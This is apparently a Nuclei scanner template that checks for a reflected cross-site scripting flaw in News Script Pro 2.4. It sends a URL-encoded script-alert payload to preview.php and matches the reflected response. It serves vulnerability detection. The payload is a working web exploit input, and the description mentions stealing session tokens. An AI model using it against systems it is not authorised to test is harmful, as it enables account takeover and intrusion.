id: news-script-xss

info:
  name: News Script Pro 2.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  reference:
    - https://www.exploitalert.com/view-details.html?id=39634
  classification:
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 1
  tags: newsscript,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/preview.php/mn71q%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ep15vr?cat_id=&p=2"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "News Script PHP Pro", "<script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022079d21c595f07baf3116e5339ec84010b5b423b8a7121d664e1f20a6757af0d1d0220298ebbe050375234c3d6d2de8b0dbf8159f62647dc63bd7f48580091f2d2ff97:922c64590222798bb761d5b6d8e72950